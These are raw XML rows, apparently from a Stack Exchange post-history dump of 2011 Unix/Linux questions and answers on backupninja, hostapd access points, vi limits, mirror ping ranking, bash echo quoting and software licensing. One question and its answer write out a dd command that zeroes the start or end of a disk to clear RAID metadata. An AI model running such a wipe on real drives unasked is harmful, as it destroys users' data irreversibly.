  <row Id="34576" PostHistoryTypeId="3" PostId="13840" RevisionGUID="1fe09274-06f4-4699-91c4-04345acae5d8" CreationDate="2011-05-26T15:24:36.693" UserId="6973" Text="éscreenàétmuxàéjoböcontrolà" />
  <row Id="34577" PostHistoryTypeId="5" PostId="13832" RevisionGUID="ade7c30a-dcde-4e37-b291-ac5ce8f63eaa" CreationDate="2011-05-26T15:33:30.453" UserId="7799" Comment="improved formatting" Text="I have recently installed on a Debian squeeze_64 server the **Backupninja** and **Duplicity** utilities. My goal is to backup `/foo/bar/*` to `/desti/nation/` with full backup once a week and differentially once a day (say, sunday 01:00 the full and 01:00 daily). `/desti/nation/` is a mounted nfs directory from `10.0.0.1:/qwe/rty`.&#xD;&#xA;&#xD;&#xA;    root@toor:/etc/backup.d# ls&#xD;&#xA;    10-full.dup  15-incr.dup&#xD;&#xA;    root@toor:/etc/backup.d# cat *&#xD;&#xA;    options = --no-encryption --dry-run --verbosity 9&#xD;&#xA;    testconnect=yes&#xD;&#xA;    [source]&#xD;&#xA;    include=/foo/bar/&#xD;&#xA;    [dest]&#xD;&#xA;    incremental=no&#xD;&#xA;    increments=0&#xD;&#xA;    keep=60&#xD;&#xA;    desturl = file:///desti/nation&#xD;&#xA;    &#xD;&#xA;    options = --no-encryption --dry-run --verbosity 9&#xD;&#xA;    testconnect=yes&#xD;&#xA;    [source]&#xD;&#xA;    include=/foo/bar/&#xD;&#xA;    [dest]&#xD;&#xA;    incremental=yes&#xD;&#xA;    increments=7&#xD;&#xA;    keep=60&#xD;&#xA;    desturl = file:///desti/nation&#xD;&#xA;    root@toor:/etc/backup.d# backupninja --debug --test --now&#xD;&#xA;&#xD;&#xA;The output is fulfilled with boring debug messages, but it contains the following:&#xD;&#xA;&#xD;&#xA;&gt; Info: &gt;&gt;&gt;&gt; starting action /etc/backup.d/10-full.dup (because of --now)  &#xD;&#xA;&gt; Debug: yes  &#xD;&#xA;&gt; Fatal: The password option must be set.  &#xD;&#xA;&gt; Fatal: &lt;&lt;&lt;&lt; finished action /etc/backup.d/10-full.dup: FAILED&#xD;&#xA;&#xD;&#xA;And the same for 15-incr.dup, respectively.&#xD;&#xA;&#xD;&#xA;&gt; Info: FINISHED: 2 actions run. 2 fatal. 0 error. 0 warning.&#xD;&#xA;&#xD;&#xA;is the final line. Well, I configured it to work *without* gpg and any kind of authorization, but it still needs a password. What is my fault?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Added the following lines to the files:&#xD;&#xA;&#xD;&#xA;    [gpg]&#xD;&#xA;    sign=no&#xD;&#xA;    encryptkey=&#xD;&#xA;    signkey=&#xD;&#xA;    password=&#xD;&#xA;&#xD;&#xA;but the problem is exactly the same.&#xD;&#xA;&#xD;&#xA;**SOLVED**&#xD;&#xA;&#xD;&#xA;I really don't know what happened, I set once the password to a random value in both of the files. Then suffered endlessly, changed almost everything, and now tried `password=\0` and `password=&quot;&quot;`. **IT WORKS**. Well, the next step was like `password=dfsgdhn` and `password=dsfdghfd`. Works too.&#xD;&#xA;&#xD;&#xA;So I didn't find the solution, it repaired itself or what." />
  <row Id="34578" PostHistoryTypeId="5" PostId="13826" RevisionGUID="e3f349d9-14d5-46e0-913f-a5f47167d860" CreationDate="2011-05-26T15:37:58.617" UserId="3038" Comment="had forgotten link to the hostapd project" Text="For posterity sake, the best way to create an AP is using the `hostapd` program, which is available [here](http://hostap.epitest.fi/hostapd/) and prepackaged in many distros.&#xD;&#xA;&#xD;&#xA;In Debian or derivatives, the packages comes with a file `/usr/share/doc/hostapd/examples/hostapd.conf.gz`, which is an example configuration. You need to copy the file to a different directory (your `$HOME`, for example), decompress it (`gunzip hostapd.conf.gz`) and then edit the `hostapd.conf` file with any text editor.&#xD;&#xA;&#xD;&#xA;Search for the line which says `WPA/IEEE 802.11i configuration`. The file is well docummented, but for a simple WPA2 AP you just need to:&#xD;&#xA;&#xD;&#xA;- change the line `interface=wlan0` to match your card's interface&#xD;&#xA;- (optional) change the line `ssid=test` to `ssid=NetworkNameOfChoice`&#xD;&#xA;- uncomment the line `#wpa=1` to `wpa=1`&#xD;&#xA;- uncomment the line which says `#wpa_passphrase=secret passphrase` and change the passphrase.&#xD;&#xA;&#xD;&#xA;Save the file and then on a terminal run `sudo ifconfig wlan0 192.168.3.1` (replacing `wlan0` with your card's interface) and `sudo hostapd hostapd.conf`. A new network should appear with the chosen name (or 'test' if you didn't change it).&#xD;&#xA;&#xD;&#xA;(Note: the network will let anyone with the right passphrase connect, but it won't give it an IP address. If you want that you should ask how to set up a testing dhcp server)." />
  <row Id="34579" PostHistoryTypeId="5" PostId="13747" RevisionGUID="032d54b9-66f7-4f61-b70c-b8779ed952d7" CreationDate="2011-05-26T15:55:26.343" UserId="73" Comment="deleted 29 characters in body" Text="I have a laptop with an Atheros card and I want to use it as a wireless access point. I need an AP with WPA/WPA2 encryption for testing purposes; I don't need any routing functionality or anything else (it's fine if it has that, but it's not a requirement). A live CD would be good, I just want something that's easy to setup -- like I mentioned, it's not for real use. I tried it on Ubuntu but I guess by default Ubuntu is missing the special drivers required to act as an access point." />
  <row Id="34580" PostHistoryTypeId="2" PostId="13841" RevisionGUID="3d44aa15-912c-49ed-ae41-5b269606d195" CreationDate="2011-05-26T15:55:54.010" UserId="6960" Text="How can I edit a really big file with vi? e.g.: a 20 GByte log file. Are there any modifications for it to handle this size?" />
  <row Id="34581" PostHistoryTypeId="1" PostId="13841" RevisionGUID="3d44aa15-912c-49ed-ae41-5b269606d195" CreationDate="2011-05-26T15:55:54.010" UserId="6960" Text="Edit really big files with vi" />
  <row Id="34582" PostHistoryTypeId="3" PostId="13841" RevisionGUID="3d44aa15-912c-49ed-ae41-5b269606d195" CreationDate="2011-05-26T15:55:54.010" UserId="6960" Text="évià" />
  <row Id="34583" PostHistoryTypeId="2" PostId="13842" RevisionGUID="024e013a-a28d-4bd8-8567-0f5d5f3eeff0" CreationDate="2011-05-26T16:38:53.680" UserId="138" Text="If you're using Vim on a 32-bit system, I don't think there is a way to make it do this. It has &lt;a href=&quot;http://vimdoc.sourceforge.net/htmldoc/vi_diff.html#limits&quot;&gt;a hard file size limit&lt;/a&gt; based on the size of a 32-bit integer.&#xD;&#xA;&#xD;&#xA;If you can do your editing on a 64-bit system, that limit is effectively removed; it becomes something in the exabytes range.&#xD;&#xA;&#xD;&#xA;Vim also has &lt;a href=&quot;http://vimdoc.sourceforge.net/htmldoc/options.html#%27maxmem%27&quot;&gt;an arbitrary lower limit&lt;/a&gt;, over which it will page chunks of the file into RAM from its swap file. On the 64-bit CentOS 5.x system I'm currently using, the Vim default for this is approximately 3 GB. You can raise the `maxmem` and `maxmemtot` limits in order to avoid swapping, if you have enough real RAM to load the entire file. If you do not, you'll end up using the OS's general-purpose swap space instead, which probably won't be any faster. To be clear, you do not need to raise this limit. It just allows Vim to use more real RAM, if you have it." />
  <row Id="34584" PostHistoryTypeId="2" PostId="13843" RevisionGUID="8f523716-a889-4cc0-8608-fdf12703ee06" CreationDate="2011-05-26T16:58:08.983" UserId="6960" Text="INPUT:&#xD;&#xA;&#xD;&#xA;	$ curl -s &quot;http://www.openbsd.org/ftp.html#ftp&quot; | fgrep '&lt;a href=&quot;ftp://' | sed 's/&quot;ftp:\/\//\n/' | cut -d &quot;/&quot; -f1 | fgrep -v '&lt;a href=' | while read MIRRORSRVS; do ping -c 1 -w 1 $MIRRORSRVS; done&#xD;&#xA;&#xD;&#xA;	...&#xD;&#xA;	--- ftp.openbsd.org.ar ping statistics ---&#xD;&#xA;	1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;	rtt min/avg/max/mdev = 279.489/279.489/279.489/0.000 ms&#xD;&#xA;	PING mirror.internode.on.net (150.101.135.3) 56(84) bytes of data.&#xD;&#xA;	64 bytes from mirror.internode.on.net (150.101.135.3): icmp_req=1 ttl=42 time=366 ms&#xD;&#xA;&#xD;&#xA;	--- mirror.internode.on.net ping statistics ---&#xD;&#xA;	1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;	rtt min/avg/max/mdev = 366.202/366.202/366.202/0.000 ms&#xD;&#xA;	PING mirror.aarnet.edu.au (202.158.214.106) 56(84) bytes of data.&#xD;&#xA;	64 bytes from mirror.aarnet.edu.au (202.158.214.106): icmp_req=1 ttl=41 time=348 ms&#xD;&#xA;&#xD;&#xA;	--- mirror.aarnet.edu.au ping statistics ---&#xD;&#xA;	1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;	rtt min/avg/max/mdev = 348.713/348.713/348.713/0.000 ms&#xD;&#xA;	PING ftp5.eu.openbsd.org (78.41.115.130) 56(84) bytes of data.&#xD;&#xA;	64 bytes from anga.funkfeuer.at (78.41.115.130): icmp_req=1 ttl=236 time=84.5 ms&#xD;&#xA;&#xD;&#xA;	--- ftp5.eu.openbsd.org ping statistics ---&#xD;&#xA;	1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;	rtt min/avg/max/mdev = 84.564/84.564/84.564/0.000 ms&#xD;&#xA;	PING mirror.telepoint.bg (79.124.67.90) 56(84) bytes of data.&#xD;&#xA;	64 bytes from mirror.telepoint.bg (79.124.67.90): icmp_req=1 ttl=41 time=74.8 ms&#xD;&#xA;	...&#xD;&#xA;&#xD;&#xA;/OUTPUT/:&#xD;&#xA;&#xD;&#xA;	...&#xD;&#xA;	74.8 ftp5.eu.openbsd.org&#xD;&#xA;	84.5 mirror.aarnet.edu.au&#xD;&#xA;	348 mirror.internode.on.net&#xD;&#xA;	366 ftp.openbsd.org.ar&#xD;&#xA;	...&#xD;&#xA;&#xD;&#xA;so the REALLY NEEDED OUTPUT would be (the top 3 servers):&#xD;&#xA;&#xD;&#xA;	amd64&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/ACTUALRELEASE/amd64/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.aarnet.edu.au/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.aarnet.edu.au/pub/OpenBSD/ACTUALRELEASE/amd64/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.internode.on.net/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.internode.on.net/pub/OpenBSD/ACTUALRELEASE/amd64/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	i386&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/ACTUALRELEASE/i386/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.aarnet.edu.au/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.aarnet.edu.au/pub/OpenBSD/ACTUALRELEASE/i386/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.internode.on.net/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.internode.on.net/pub/OpenBSD/ACTUALRELEASE/i386/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;So I have a list of servers from the &quot;http://www.openbsd.org/ftp.html#ftp&quot; site. I only want to download files from the server that has the smallest ping time like in the OUTPUT..&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Q: How can I generate such a list from ping's output? (using even perl.)... the output is...crapped... see the full one here..: http://pastebin.com/raw.php?i=4CgTkQJf&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;... - it's because I don't want to write all the servers by hand&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Better solution would be the &quot;REALLY NEEDED OUTPUT&quot; (top 3 servers)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks" />
  <row Id="34585" PostHistoryTypeId="1" PostId="13843" RevisionGUID="8f523716-a889-4cc0-8608-fdf12703ee06" CreationDate="2011-05-26T16:58:08.983" UserId="6960" Text="How to find a server from a list with smallest ping time?" />
  <row Id="34586" PostHistoryTypeId="3" PostId="13843" RevisionGUID="8f523716-a889-4cc0-8608-fdf12703ee06" CreationDate="2011-05-26T16:58:08.983" UserId="6960" Text="élinuxàéopenbsdà" />
  <row Id="34587" PostHistoryTypeId="5" PostId="13842" RevisionGUID="02d87997-cfca-4a6a-afb8-f1270b2c2da5" CreationDate="2011-05-26T17:01:35.040" UserId="138" Comment="clarified implementation specificity" Text="If you're using Vim on a 32-bit system, I don't think there is a way to make it do this. It has &lt;a href=&quot;http://vimdoc.sourceforge.net/htmldoc/vi_diff.html#limits&quot;&gt;a hard file size limit&lt;/a&gt; based on the size of a 32-bit integer.&#xD;&#xA;&#xD;&#xA;If you can do your editing on a 64-bit system, Vim's file size limit becomes something in the exabytes range.&#xD;&#xA;&#xD;&#xA;Vim also has &lt;a href=&quot;http://vimdoc.sourceforge.net/htmldoc/options.html#%27maxmem%27&quot;&gt;an arbitrary lower limit&lt;/a&gt;, over which it will page chunks of the file into RAM from its swap file. On the 64-bit CentOS 5.x system I'm currently using, the Vim default for this is approximately 3 GB. You can raise the `maxmem` and `maxmemtot` limits in order to avoid swapping, if you have enough real RAM to load the entire file. If you do not, you'll end up using the OS's general-purpose swap space instead, which probably won't be any faster. To be clear, you do not need to raise this limit. It just allows Vim to use more real RAM, if you have it.&#xD;&#xA;&#xD;&#xA;If you mean some other implementation of vi, please say which. File size limits are one of the areas where vi implementations differ." />
  <row Id="34588" PostHistoryTypeId="5" PostId="13843" RevisionGUID="d6edbcf5-1fe7-48a7-a2b9-8765fbd4a45d" CreationDate="2011-05-26T17:15:10.923" UserId="73" Comment="deleted 23 characters in body" Text="I have a list of servers from http://www.openbsd.org/ftp.html#ftp. I only want to download files from the server that has the smallest ping time. How can I generate such a list from ping's output? (using even perl.). I don't want to write all the servers by hand. Ideally I'd like just the top 3 servers&#xD;&#xA;&#xD;&#xA;### Input&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(it's long, so the complete ping stats are [pastebinned](http://pastebin.com/raw.php?i=4CgTkQJf))&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;    $ curl -s &quot;http://www.openbsd.org/ftp.html#ftp&quot; | fgrep '&lt;a href=&quot;ftp://' | sed 's/&quot;ftp:\/\//\n/' | cut -d &quot;/&quot; -f1 | fgrep -v '&lt;a href=' | while read MIRRORSRVS; do ping -c 1 -w 1 $MIRRORSRVS; done&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    --- ftp.openbsd.org.ar ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 279.489/279.489/279.489/0.000 ms&#xD;&#xA;    PING mirror.internode.on.net (150.101.135.3) 56(84) bytes of data.&#xD;&#xA;    64 bytes from mirror.internode.on.net (150.101.135.3): icmp_req=1 ttl=42 time=366 ms&#xD;&#xA;&#xD;&#xA;    --- mirror.internode.on.net ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 366.202/366.202/366.202/0.000 ms&#xD;&#xA;    PING mirror.aarnet.edu.au (202.158.214.106) 56(84) bytes of data.&#xD;&#xA;    64 bytes from mirror.aarnet.edu.au (202.158.214.106): icmp_req=1 ttl=41 time=348 ms&#xD;&#xA;&#xD;&#xA;    --- mirror.aarnet.edu.au ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 348.713/348.713/348.713/0.000 ms&#xD;&#xA;    PING ftp5.eu.openbsd.org (78.41.115.130) 56(84) bytes of data.&#xD;&#xA;    64 bytes from anga.funkfeuer.at (78.41.115.130): icmp_req=1 ttl=236 time=84.5 ms&#xD;&#xA;&#xD;&#xA;    --- ftp5.eu.openbsd.org ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 84.564/84.564/84.564/0.000 ms&#xD;&#xA;    PING mirror.telepoint.bg (79.124.67.90) 56(84) bytes of data.&#xD;&#xA;    64 bytes from mirror.telepoint.bg (79.124.67.90): icmp_req=1 ttl=41 time=74.8 ms&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;### Output&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    74.8 ftp5.eu.openbsd.org&#xD;&#xA;    84.5 mirror.aarnet.edu.au&#xD;&#xA;    348 mirror.internode.on.net&#xD;&#xA;    366 ftp.openbsd.org.ar&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;The output I *really* need is the top three servers:&#xD;&#xA;&#xD;&#xA;	amd64&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/ACTUALRELEASE/amd64/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.aarnet.edu.au/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.aarnet.edu.au/pub/OpenBSD/ACTUALRELEASE/amd64/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.internode.on.net/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.internode.on.net/pub/OpenBSD/ACTUALRELEASE/amd64/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	i386&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://ftp5.eu.openbsd.org/pub/OpenBSD/ACTUALRELEASE/i386/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.aarnet.edu.au/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.aarnet.edu.au/pub/OpenBSD/ACTUALRELEASE/i386/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;	&lt;a href=&quot;ftp://mirror.internode.on.net/pub/OpenBSD/4.9/amd64/cd49.iso&quot;&gt;ftp://mirror.internode.on.net/pub/OpenBSD/ACTUALRELEASE/i386/cd49.iso&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34589" PostHistoryTypeId="2" PostId="13844" RevisionGUID="0f76fef0-29ef-4c90-82d1-dceb3d6b2a4b" CreationDate="2011-05-26T17:41:43.677" UserId="591" Text="I was hacking at a small script earlier and noticed something I can't explain.&#xD;&#xA;&#xD;&#xA;Running this command &#xD;&#xA;&#xD;&#xA;    (time wget --spider http://www.google.co.uk/) 2&gt;&amp;1  | egrep 'real|response'&#xD;&#xA;&#xD;&#xA;gives me this output (which I expect)&#xD;&#xA;&#xD;&#xA;    HTTP request sent, awaiting response... 200 OK&#xD;&#xA;    real    0m0.086s&#xD;&#xA;&#xD;&#xA;I capture the output above in a variable&#xD;&#xA;&#xD;&#xA;    Result=$((time wget --spider http://www.google.co.uk/) 2&gt;&amp;1  | egrep 'real|response')&#xD;&#xA;&#xD;&#xA;If I &#xD;&#xA;&#xD;&#xA;    echo &quot;$Result&quot;   &#xD;&#xA;&#xD;&#xA;I get the expected output&#xD;&#xA;&#xD;&#xA;    HTTP request sent, awaiting response... 200 OK&#xD;&#xA;    real    0m0.086s&#xD;&#xA;&#xD;&#xA;However if I &#xD;&#xA;&#xD;&#xA;    echo $Result&#xD;&#xA;&#xD;&#xA;I get &#xD;&#xA;&#xD;&#xA;    HTTP request sent, awaiting response... 200 OK real    0m0.086s&#xD;&#xA;&#xD;&#xA;Why is that ?&#xD;&#xA;" />
  <row Id="34590" PostHistoryTypeId="1" PostId="13844" RevisionGUID="0f76fef0-29ef-4c90-82d1-dceb3d6b2a4b" CreationDate="2011-05-26T17:41:43.677" UserId="591" Text="Bash, curious about echo $variable" />
  <row Id="34591" PostHistoryTypeId="3" PostId="13844" RevisionGUID="0f76fef0-29ef-4c90-82d1-dceb3d6b2a4b" CreationDate="2011-05-26T17:41:43.677" UserId="591" Text="ébashàéscriptingà" />
  <row Id="34592" PostHistoryTypeId="2" PostId="13845" RevisionGUID="bfa47632-fef1-4a6e-9fba-dcae6899bf48" CreationDate="2011-05-26T17:44:11.417" UserId="3385" Text="I needed a torrent client that supports feeds and mailing me when stuff is finished. Vuze supports feeds and a plugins was suppose to do the trick about mailing me.&#xD;&#xA;&#xD;&#xA;BUT: i have encountered great difficulties installing the plugin. I've selected it and then the application hangs when it tries to install it thru the installation guide. &#xD;&#xA;I think however the files just could be copied ofer in the vuze plugins folder and restart it. &#xD;&#xA;&#xD;&#xA;Whould that work and where does the vuze install folder when i installed it thru yum?" />
  <row Id="34593" PostHistoryTypeId="1" PostId="13845" RevisionGUID="bfa47632-fef1-4a6e-9fba-dcae6899bf48" CreationDate="2011-05-26T17:44:11.417" UserId="3385" Text="Problems with vuze plugins..." />
  <row Id="34594" PostHistoryTypeId="3" PostId="13845" RevisionGUID="bfa47632-fef1-4a6e-9fba-dcae6899bf48" CreationDate="2011-05-26T17:44:11.417" UserId="3385" Text="élinuxàéfedoraà" />
  <row Id="34595" PostHistoryTypeId="2" PostId="13846" RevisionGUID="a7a80d72-1023-42e3-a14a-a96a66a19888" CreationDate="2011-05-26T17:44:40.913" UserId="1762" Text="The `echo $Result` command will convert the value of the variable into multiple arguments for echo, splitting on any whitespace, and echo prints all the arguments separated by spaces. On the other hand, `echo &quot;$Result&quot;` will put the whole string, including whitespace, into the first and only echo argument, which gets printed directly." />
  <row Id="34596" PostHistoryTypeId="2" PostId="13847" RevisionGUID="4495f911-5dba-4ac8-8d40-c605005c1fcb" CreationDate="2011-05-26T18:01:16.073" UserId="1762" Text="You're approach is fine, but before you do make a final decision, consider buying a cheap NAS device. They are small, silent, cheap, support standard HDs, many of them are based on Linux and hackable. I personally like [DNS-323][1], but I'm sure there are others worth recommending.&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.dns323.info/" />
  <row Id="34597" PostHistoryTypeId="25" PostId="13844" RevisionGUID="0f809c39-d4ae-43eb-95d8-d3053be667c8" CreationDate="2011-05-26T18:13:11.110" Comment="http://twitter.com/#!/StackUnix/status/73813944329973761" />
  <row Id="34598" PostHistoryTypeId="2" PostId="13848" RevisionGUID="79e26741-5a47-4c88-9fd5-7e8850826c4e" CreationDate="2011-05-26T18:26:40.890" UserId="1209" Text="Is there an easy command that I can use to zero out the last 1MB of a hard drive?&#xD;&#xA;&#xD;&#xA;For the start of the drive I would `dd if=/dev/zero of=/dev/sdx bs=1M count=1`.  The `seek` option for dd looks promising, but does someone have an easy way to determine exactly how far I should seek?&#xD;&#xA;&#xD;&#xA;I have a hardware RAID appliance, that stores some of the RAID configuration at the end of the drive.  I need the RAID appliance to see the drives as un-configured, so I want to remove the RAID configuration without having to spend the time to do a full wipe of the drives. I have a dozen 2TB drives, and a full erase of all of those drives would take a long time.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34599" PostHistoryTypeId="1" PostId="13848" RevisionGUID="79e26741-5a47-4c88-9fd5-7e8850826c4e" CreationDate="2011-05-26T18:26:40.890" UserId="1209" Text="Wipe last 1MB of a Hard drive" />
  <row Id="34600" PostHistoryTypeId="3" PostId="13848" RevisionGUID="79e26741-5a47-4c88-9fd5-7e8850826c4e" CreationDate="2011-05-26T18:26:40.890" UserId="1209" Text="élinuxà" />
  <row Id="34601" PostHistoryTypeId="2" PostId="13849" RevisionGUID="aaf0a4b8-34ec-418d-be4f-8362a62f9cd9" CreationDate="2011-05-26T18:27:33.067" UserId="3032" Text="I've been working on a Linux distro based on Arch, and I want to include Google Chrome and Adobe's Flash Plugin.&#xD;&#xA;&#xD;&#xA;Can I get in trouble with Google or Adobe if I pre-install both of those pieces of software into a Linux distro which I plan to release within the upcoming month?" />
  <row Id="34602" PostHistoryTypeId="1" PostId="13849" RevisionGUID="aaf0a4b8-34ec-418d-be4f-8362a62f9cd9" CreationDate="2011-05-26T18:27:33.067" UserId="3032" Text="Packaging Google Chrome and Flash into a Linux Distro?" />
  <row Id="34603" PostHistoryTypeId="3" PostId="13849" RevisionGUID="aaf0a4b8-34ec-418d-be4f-8362a62f9cd9" CreationDate="2011-05-26T18:27:33.067" UserId="3032" Text="élinuxàéarchölinuxàéchromeàéadobeöflashà" />
  <row Id="34604" PostHistoryTypeId="5" PostId="13820" RevisionGUID="5aa5b377-d148-4e9a-a13d-b37327ef7046" CreationDate="2011-05-26T18:47:25.780" UserId="1946" Comment="added 50 characters in body" Text="Not to undermine the value of answers given by other people, but I believe what you want **is this:**&#xD;&#xA;&#xD;&#xA;    (cd /path/to &amp;&amp; ./executable [ARGS])&#xD;&#xA;&#xD;&#xA;Note the parens to invoke `cd` in a sub-shell." />
  <row Id="34605" PostHistoryTypeId="2" PostId="13850" RevisionGUID="5a9d0e11-0988-465c-8ddf-9d9127ba8b9d" CreationDate="2011-05-26T18:57:21.950" UserId="6761" Text="Adobe's terms are that you must apply for a license to distribute their products:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Adobe provides a free license to allow you to redistribute Adobe Flash® Player or Adobe Shockwave® Player on your company's intranet, or with your software product or service.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;http://www.adobe.com/licensing/&#xD;&#xA;&#xD;&#xA;You have to supply them details of your intended distribution, including information about your licensing, number of end users etc.&#xD;&#xA;&#xD;&#xA;The relevant part of the Chrome license looks to be this clause:&#xD;&#xA;&lt;blockquote&gt;9.3 Subject to section 1.2, unless Google has given you specific written permission to do so, you may not assign (or grant a sub-license of) your rights to use the Software, grant a security interest in or over your rights to use the Software, or otherwise transfer any part of your rights to use the Software.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Which suggests that, as long as you do not change the original license, you will not infringe.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Note&lt;/b&gt;: this does &lt;em&gt;not&lt;/em&gt; constitute legal advice..." />
  <row Id="34606" PostHistoryTypeId="5" PostId="13845" RevisionGUID="e77b1e5a-7c99-41f6-b46f-4cd3e3d5d02c" CreationDate="2011-05-26T19:07:22.337" UserId="1925" Comment="deleted 1 characters in body; edited tags" Text="I needed a torrent client that supports feeds and mailing me when stuff is finished. Vuze supports feeds and a plugins was supposed to do the trick about mailing me.&#xD;&#xA;&#xD;&#xA;BUT: I have encountered great difficulties installing the plugin. I've selected it and then the application hangs when it tries to install it thru the installation guide. I think however the files just could be copied ofer in the vuze plugins folder and restart it. &#xD;&#xA;&#xD;&#xA;Whould that work and where does the vuze install folder when I installed it thru yum?" />
  <row Id="34607" PostHistoryTypeId="6" PostId="13845" RevisionGUID="e77b1e5a-7c99-41f6-b46f-4cd3e3d5d02c" CreationDate="2011-05-26T19:07:22.337" UserId="1925" Comment="deleted 1 characters in body; edited tags" Text="éfedoraàésoftwareörecà" />
  <row Id="34608" PostHistoryTypeId="2" PostId="13851" RevisionGUID="73aabc3e-46dc-4159-8c88-37a7dae344f8" CreationDate="2011-05-26T19:07:31.730" UserId="1762" Text="Ease of use would be the primary reason. It's much more convenient to switch between screens using keyboard shortcuts than to use the job control features. Moreover, with Screen every window is connected to a separate virtual terminal, while with job control you either have to suspend the process, or allow it to run in the background cluttering the only terminal.&#xD;&#xA;&#xD;&#xA;Last but not least, the traditional job control doesn't allow you to reattach to an existing session nor share it with others." />
  <row Id="34609" PostHistoryTypeId="2" PostId="13852" RevisionGUID="846d109a-5728-43f9-8f01-1134e07b862d" CreationDate="2011-05-26T19:10:43.833" UserId="2421" Text="The easiest way to select some suitable mirrors is with [netselect][1].  You can use the `-s 3` option to tell it to pick the 3 best servers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://apenwarr.ca/netselect/index.html" />
  <row Id="34610" PostHistoryTypeId="2" PostId="13853" RevisionGUID="2574fef6-d9f5-4865-a80a-c515c4928a4c" CreationDate="2011-05-26T19:46:54.383" UserId="591" Text="You can get the number of sectors on the disk with `hdparm -v /dev/sdx`. Try seeking to number_of_sectors - 2048 (assuming 512 byte sectors)." />
  <row Id="34611" PostHistoryTypeId="10" PostId="13849" RevisionGUID="aeb0001d-9207-4994-9aa2-92dc5d7cc7fb" CreationDate="2011-05-26T20:29:42.597" UserId="2511" CloseReasonId="2" Text="[{&quot;Id&quot;:2511,&quot;DisplayName&quot;:&quot;mattdm&quot;}]" />
